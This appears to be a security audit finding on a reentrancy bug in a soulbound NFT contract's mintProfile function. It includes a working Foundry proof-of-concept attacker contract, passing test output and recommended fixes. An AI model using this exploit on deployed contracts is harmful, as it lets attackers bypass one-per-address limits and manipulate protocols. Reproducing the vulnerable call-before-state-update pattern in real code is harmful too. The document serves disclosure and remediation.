Summary
The SoulboundProfileNFT contract is vulnerable to reentrancy through _safeMint in mintProfile, allowing attackers to bypass the one-profile-per-address restriction and mint multiple NFTs.
Vulnerability Details
The vulnerability exists in the mintProfile function:
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
The _safeMint function makes an external call to onERC721Received before state updates are completed. A malicious contract can reenter mintProfile during this callback, bypassing the "Profile already exists" check since profileToToken hasn't been updated.
PoC
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
contract MaliciousReceiver {
SoulboundProfileNFT public target;
uint256 public attackCount;
uint256 public maxMints;
constructor(address _target) {
target = SoulboundProfileNFT(_target);
maxMints = 3;
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external returns (bytes4) {
if (attackCount < maxMints) {
attackCount++;
target.mintProfile("Attacker", 25, "ipfs://evil");
}
return this.onERC721Received.selector;
}
function attack() external {
target.mintProfile("Attacker", 25, "ipfs://evil");
}
}
contract SoulboundProfileNFTReentrancyTest is Test {
SoulboundProfileNFT public soulboundNFT;
MaliciousReceiver public attacker;
function setUp() public {
soulboundNFT = new SoulboundProfileNFT();
attacker = new MaliciousReceiver(address(soulboundNFT));
}
function testReentrancyAttack() public {
attacker.attack();
uint256 attackerProfileId = soulboundNFT.profileToToken(address(attacker));
assertGt(attacker.attackCount(), 1, "Reentrancy attack failed - should have minted multiple profiles");
string memory uri = soulboundNFT.tokenURI(attackerProfileId);
assertTrue(bytes(uri).length > 0, "Token URI should be set");
console.log("Number of profiles minted:", attacker.attackCount());
console.log("Attacker's profile token ID:", attackerProfileId);
}
}
PoC Results:
forge test --match-test testReentrancyAttack -vvv
[⠢] Compiling...
[⠑] Compiling 19 files with Solc 0.8.28
[⠊] Solc 0.8.28 finished in 386.07ms
Compiler run successful with warnings:
Warning (5740): Unreachable code.
--> lib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol:161:9:
|
161 | ERC721Utils.checkOnERC721Received(_msgSender(), from, to, tokenId, data);
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Ran 1 test for test/SoulboundProfileNFTReentrancy.t.sol:SoulboundProfileNFTReentrancyTest
[PASS] testReentrancyAttack() (gas: 553281)
Logs:
Number of profiles minted: 3
Attacker's profile token ID: 1
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.40ms (1.44ms CPU time)
Ran 1 test suite in 41.36ms (4.40ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Attackers can mint multiple profiles despite the one-profile restriction
Breaks core soulbound token invariant
Can be used to spam the system
Potential manipulation of protocol logic expecting unique profiles
Tools Used
Foundry
Manual code review
Recommendations
Implement OpenZeppelin's ReentrancyGuard:
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SoulboundProfileNFT is ERC721, Ownable, ReentrancyGuard {
function mintProfile(...) external nonReentrant {
...
}
}
Or follow Checks-Effects-Interactions pattern:
function mintProfile(...) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
_safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
